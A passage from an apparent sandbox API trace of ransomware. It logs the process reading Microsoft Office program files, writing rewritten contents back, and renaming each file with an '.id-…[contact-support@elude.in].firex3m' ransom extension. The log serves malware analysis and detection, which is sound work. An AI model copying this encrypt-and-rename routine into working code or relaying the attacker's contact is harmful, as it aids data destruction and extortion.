CloseHandle (hObject=0x4bc) returned 1 [0145.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.849] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSACCESS_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~1.FIR")) returned 0x6d5280 [0146.849] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0146.849] GetProcessHeap () returned 0x630000 [0146.849] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x718768 [0146.849] GetProcessHeap () returned 0x630000 [0146.849] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717958 [0146.849] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.849] ReadFile (in: hFile=0x4bc, lpBuffer=0x718768, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x718768*, lpNumberOfBytesRead=0x64bff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.851] GetProcessHeap () returned 0x630000 [0146.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0146.851] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.851] WriteFile (in: hFile=0x4bc, lpBuffer=0x717958*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x717958*, lpNumberOfBytesWritten=0x64bff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.851] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.852] WriteFile (in: hFile=0x4bc, lpBuffer=0x717a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x717a17*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.852] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.852] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.852] CloseHandle (hObject=0x4bc) returned 1 [0146.852] GetProcessHeap () returned 0x630000 [0146.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717958 | out: hHeap=0x630000) returned 1 [0146.852] GetProcessHeap () returned 0x630000 [0146.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718768 | out: hHeap=0x630000) returned 1 [0146.852] GetProcessHeap () returned 0x630000 [0146.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0146.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.852] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b8364e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b8364e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d79b256, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x64bfd20, dwReserved1=0x718768, cFileName="MSACCESS_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSACCE~1.FIR")) returned 0x6d5280 [0146.852] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.852] Sleep (dwMilliseconds=0x1) [0148.059] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", len=0x41 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS") returned 1 [0148.059] GetProcessHeap () returned 0x630000 [0148.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26a8) returned 0x71f7c78 [0148.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0149.163] CloseHandle (hObject=0x690) returned 1 [0149.163] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.201] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.202] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.XLS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~1.FIR")) returned 0x6d5440 [0149.202] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0149.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0149.202] GetProcessHeap () returned 0x630000 [0149.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2221) returned 0x6fdaf30 [0149.202] GetProcessHeap () returned 0x630000 [0149.202] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2221) returned 0x6f9dda0 [0149.202] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.202] ReadFile (in: hFile=0x690, lpBuffer=0x6fdaf30, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdaf30*, lpNumberOfBytesRead=0x64bff0c*=0x2200, lpOverlapped=0x0) returned 1 [0151.796] GetProcessHeap () returned 0x630000 [0151.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0151.796] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.796] WriteFile (in: hFile=0x690, lpBuffer=0x6f9dda0*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f9dda0*, lpNumberOfBytesWritten=0x64bff0c*=0x2200, lpOverlapped=0x0) returned 1 [0151.796] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.796] WriteFile (in: hFile=0x690, lpBuffer=0x6f9ff9f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f9ff9f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0151.796] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.796] WriteFile (in: hFile=0x690, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0151.796] CloseHandle (hObject=0x690) returned 1 [0151.797] GetProcessHeap () returned 0x630000 [0151.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f9dda0 | out: hHeap=0x630000) returned 1 [0151.797] GetProcessHeap () returned 0x630000 [0151.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdaf30 | out: hHeap=0x630000) returned 1 [0151.797] GetProcessHeap () returned 0x630000 [0151.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0151.797] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0151.797] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x206d9ae2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2224, dwReserved0=0x9647496, dwReserved1=0x6fdaf28, cFileName="PROTTPLN.XLS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~1.FIR")) returned 0x6d4ec0 [0151.797] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0151.797] Sleep (dwMilliseconds=0x1) [0155.201] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap", len=0x65 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap") returned 1 [0155.201] GetProcessHeap () returned 0x630000 [0155.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b6c) returned 0x707d3d0 [0155.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\powerviewres.cs.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0155.202] CloseHandle (hObject=0x698) returned 1 [0155.202] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\powerviewres.cs.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\powerviewres.cs.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.203] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50101, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.cs.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0155.204] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\cs\\powerviewres.cs.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0155.204] GetProcessHeap () returned 0x630000 [0155.204] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x728fb10 [0155.204] GetProcessHeap () returned 0x630000 [0155.204] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x729af40 [0155.204] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.204] ReadFile (in: hFile=0x698, lpBuffer=0x728fb10, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fb10*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.012] GetProcessHeap () returned 0x630000 [0162.012] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0162.012] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.012] WriteFile (in: hFile=0x698, lpBuffer=0x729af40*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x729af40*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0162.013] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.001] WriteFile (in: hFile=0x698, lpBuffer=0x72a633f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a633f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.004] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.004] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.004] CloseHandle (hObject=0x698) returned 1 [0164.005] GetProcessHeap () returned 0x630000 [0164.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x729af40 | out: hHeap=0x630000) returned 1 [0164.005] GetProcessHeap () returned 0x630000 [0164.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728fb10 | out: hHeap=0x630000) returned 1 [0164.005] GetProcessHeap () returned 0x630000 [0164.005] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0164.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.005] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\PowerViewRes.cs.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b3649c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50125, dwReserved0=0x9647496, dwReserved1=0x728fb08, cFileName="PowerViewRes.cs.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5340 [0164.005] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0164.005] Sleep (dwMilliseconds=0x1) [0164.009] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.009] GetProcessHeap () returned 0x630000 [0164.009] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c1c) returned 0x707d3d0 [0164.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1058\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0165.537] CloseHandle (hObject=0x6ec) returned 1 [0165.537] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1058\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1058\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5340 [0168.403] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0168.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1058\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0168.403] GetProcessHeap () returned 0x630000 [0168.403] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0168.404] GetProcessHeap () returned 0x630000 [0168.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0168.404] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.404] ReadFile (in: hFile=0x6ec, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.857] GetProcessHeap () returned 0x630000 [0176.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176020 [0176.857] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.857] WriteFile (in: hFile=0x6ec, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.858] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.858] WriteFile (in: hFile=0x6ec, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.858] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.858] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.858] CloseHandle (hObject=0x6ec) returned 1 [0176.858] GetProcessHeap () returned 0x630000 [0176.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0176.983] GetProcessHeap () returned 0x630000 [0176.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0176.984] GetProcessHeap () returned 0x630000 [0176.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176020 | out: hHeap=0x630000) returned 1 [0177.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 